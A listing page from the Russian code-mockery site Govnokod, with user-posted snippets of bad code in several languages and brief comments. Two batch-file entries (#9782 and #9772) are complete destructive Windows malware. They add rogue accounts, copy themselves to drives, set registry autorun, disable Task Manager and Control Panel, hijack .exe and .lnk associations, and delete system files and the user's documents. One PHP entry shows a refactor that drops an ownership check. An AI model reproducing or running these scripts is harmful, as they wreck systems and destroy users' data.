1. Куча / Говнокод #9782

    +120

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    @echo off
    %SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
    time 0:00 >nul
    date 13.06.23 >nul
    label C:IDIOT >nul
    label D:DURAK >nul
    label E:SUKA >nul
    label F:GANDON >nul
    copy %0 C:\Open.bat >nul
    copy %0 D:\Open.bat >nul
    copy %0 E:\Open.bat >nul
    copy %0 F:\Open.bat >nul
    net user "Idiot you Hacked" /add >nul
    net user "Bitch you Hacked" /add >nul
    net user "Durak you Hacked" /add >nul
    net user "Kritin you Hacked" /add >nul
    net user "Gavno you Hacked" /add >nul
    md 1 >nul
    md 2 >nul
    md 3 >nul
    md 4 >nul
    md 5 >nul
    md 6 >nul
    md 7 >nul
    md 8 >nul
    md 9 >nul
    md 10 >nul
    md 11 >nul
    md 12 >nul
    md 13 >nul
    md 14 >nul
    md 15 >nul
    md 16 >nul
    md 17 >nul
    md 18 >nul
    md 19 >nul
    md 20 >nul
    md 21 >nul
    md 22 >nul
    md 23 >nul
    md 24 >nul
    md 25 >nul
    md 26 >nul
    md 27 >nul
    assoc .lnk=.txt >nul
    assoc .exe=.txt >nul
    :x ;
    Start mspaint
    goto x ;
    :x ;
    Start Calc
    goto x ;
    copy ""%0"" "%SystemRoot%\system32\Cool.bat" >nul
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Cool" /t REG_SZ /d "%SystemRoot%\system32\Cool.bat" /f >nul
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul
    del %0 >nul

    Очередной говнокод cmd

    space_man26, 27 Марта 2012

    Комментарии (5)
  2. PHP / Говнокод #9781

    +153

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    /* добавленный код: */
    public function preDispatch() {
       $id = (int) $this->_request->id;
       if ($id > 0) {
            $this->_item = doctrine("Item")->findOneById($id);
            if (!is_object($this->_item)) {
                throw new PageException_NotFound;
            }
        }
    }
    
    /* выброшенный код: */
    public function indexAction() {
        $itemId = (int) $this->_request->id;
        $item = doctrine("item")->findOneBy(array("id" => $itemId, "owner" => $this->_owner->getId()));
        if (is_object($item)) {
        /* ... */
        }
    }

    Вот такой рефакторинг. Теперь кто хочет - может редактировать все, что не лень подставить в запрос.

    Wivern, 27 Марта 2012

    Комментарии (4)
  3. Objective C / Говнокод #9780

    −86

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    - (void)refreshCursorRow
     {
         int row = [dataSource numberOfLines] - [dataSource height] + [dataSource cursorY];
    -    [self setNeedsDisplayInRect:CGRectMake(0, row *lineHeight, self.frame.size.width, lineHeight)];
    +    if (SaurikIsSad)
    +        [self setNeedsDisplay];
    +    else
    +        [self setNeedsDisplayInRect:CGRectMake(0, row *lineHeight, self.frame.size.width, lineHeight)];
     }

    В ходе гугления случайно наткнулся на этот diff-патч
    Остаётся узнать, кто такой Саурик, и почему он расстроен

    krypt, 27 Марта 2012

    Комментарии (2)
  4. Java / Говнокод #9779

    +66

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    if (!retval){
    			String svcLocation = bp.getParameterValueObjectFromAnyComponent("ReqTDQuestions", "svcLocation") + "";
    			if (svcLocation.contains("GreaterChina")){
    				retval=true;
    			}
    		}
    
    if(!retval){
    			String svcCategory = bp.getParameterValueObjectFromAnyComponent("ReqTDQuestions", "svcCategory") + "";
    			if(svcCategory.contains("ValueAddedServices") || 
    					svcCategory.contains("distWarehouse") ||
    					svcCategory.contains("transportation")){
    				retval =true;
    			}
    		}

    элегантно.

    zloizerg, 27 Марта 2012

    Комментарии (5)
  5. PHP / Говнокод #9778

    +156

    1. 1
    2. 2
    3. 3
    4. 4
    public function session_set_lifetime($time){
      /*NOT USED with cookies, can be used with sessions*/
      return null;
    }

    тотже мастер класа что и тут:
    http://govnokod.ru/9765/
    http://govnokod.ru/9777/

    fafik91, 27 Марта 2012

    Комментарии (1)
  6. PHP / Говнокод #9777

    +160

    1. 1
    2. 2
    3. 3
    4. 4
    public function return_array_element($array, $element){
      /*Return the value of specific array element*/
      return $array[$element];
    }

    тотже мастер класа что и тут:
    http://govnokod.ru/9765/

    fafik91, 27 Марта 2012

    Комментарии (9)
  7. PHP / Говнокод #9775

    +154

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    function get_domain ($url)
    {
    	preg_match("/^(http:\/\/)?([^\/]+)/i",
        $url, $matches);
    	$host = $matches[2];
    	 
    	// get last two segments of host name
    	preg_match("/[^\.\/]+\.[^\.\/]+$/", $host, $matches);
    	return $matches[0];
    }
    function get_host ($url)
    {
    	preg_match("/^(http:\/\/)?([^\/]+\.[^\/]+)\/?/i",
        $url, $matches);
    	$host = $matches[2];
    	return $host;
    }

    я ошибаюсь, или всё это можно сделать с помощью parse_url?

    roman-kashitsyn, 27 Марта 2012

    Комментарии (2)
  8. Си / Говнокод #9774

    +134

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    /* страйкер, почини trim */
      while (1)
        {
          file_ptr start;
          int i;
          long c;
    
          /* See if the next `string_min' chars are all graphic chars.  */
        tryline:
          if (stop_point && address >= stop_point)
    	break;
          start = address;
          for (i = 0; i < string_min; i++)
    	{
    	  c = get_char (stream, &address, &magiccount, &magic);
    	  if (c == EOF)
    	    {
    	      free (buf);
    	      return;
    	    }
    	  if (! STRING_ISGRAPHIC (c))
    	    /* Found a non-graphic.  Try again starting with next char.  */
    	    goto tryline;
    	  buf[i] = c;
    	}

    Раз уж вспоминаем дрѣвния говны

    Written by Richard Stallman <[email protected]>
    and David MacKenzie <[email protected]>.

    bugmenot, 26 Марта 2012

    Комментарии (11)
  9. Pascal / Говнокод #9773

    +89

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    procedure TRashetDate_Form.Button1Click(Sender: TObject);
      var a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, aa, ee: real;
      res1: real;
      res2: real;
      res3: real;
      res4: real;
      res5: real;
      res6: real;
      res7: real;
      res8: real;
      res9: real;
      res10: real;
      res11: real;
      res12: real;
      res13: real;
      res14: real;
      res15: real;
      res16: real;
      res17: real;
      res18: real;
      res19: real;
      res20: real;
      res21: real;
      res22: real;
      res23: real;
      Field: real;
    <...>

    Брал отсюда и рыдал...
    http://www.cyberforum.ru/delphi-beginners/thread527956.html#post2835591

    Psilon, 26 Марта 2012

    Комментарии (4)
  10. Куча / Говнокод #9772

    +133

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    @echo off 
     echo Chr(39)>%temp%\temp1.vbs 
     echo Chr(39)>%temp%\temp2.vbs 
     echo on error resume next > %temp%\temp.vbs 
     echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs 
     echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs 
     reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disabletaskmgr /t REG_DWORD /d 1 /f 
     start %temp%\temp.vbs 
     start %temp%\temp1.vbs 
     start %temp%\temp2.vbs 
     del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul 
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     assoc .lnk=textfile 
     assoc .exe=mp3file 
     @echo off 
     :x 
     Chcp 1251 
     msg * Пой птичка, пиздец системе...[© Iloverain]
     msg * Пой птичка, пиздец системе...[© Iloverain]
     msg * Пой птичка, пиздец системе...[© Iloverain]
     goto x 
     Chcp 1251 
     del "%USERPROFILE%Мои документы*.*" /q /s 
     label E: ГАВНО 
     Cd\ 
     Cd C: 
     Сd windows 
     del *.exe 
     del *.ini 
     del *.com 
     cd\ 
     cd windows 
     cd system 
     del *.dll 
     del *.exe 
     del "%SystemRoot%Cursors*.*" >nul 
     taskkill /f /im explorer.exe >nul 
     reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul 
     date 01.01.01 >nul 
     reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul 
     FOR /L %%i IN (1,1,100000) DO md %%i 
     Echo format C: /q c:Autoexec.bat 
     shutdown -r -t 0 >nul

    Это bat (cmd) код. Наткнулся на просторах интернетов.

    space_man26, 26 Марта 2012

    Комментарии (20)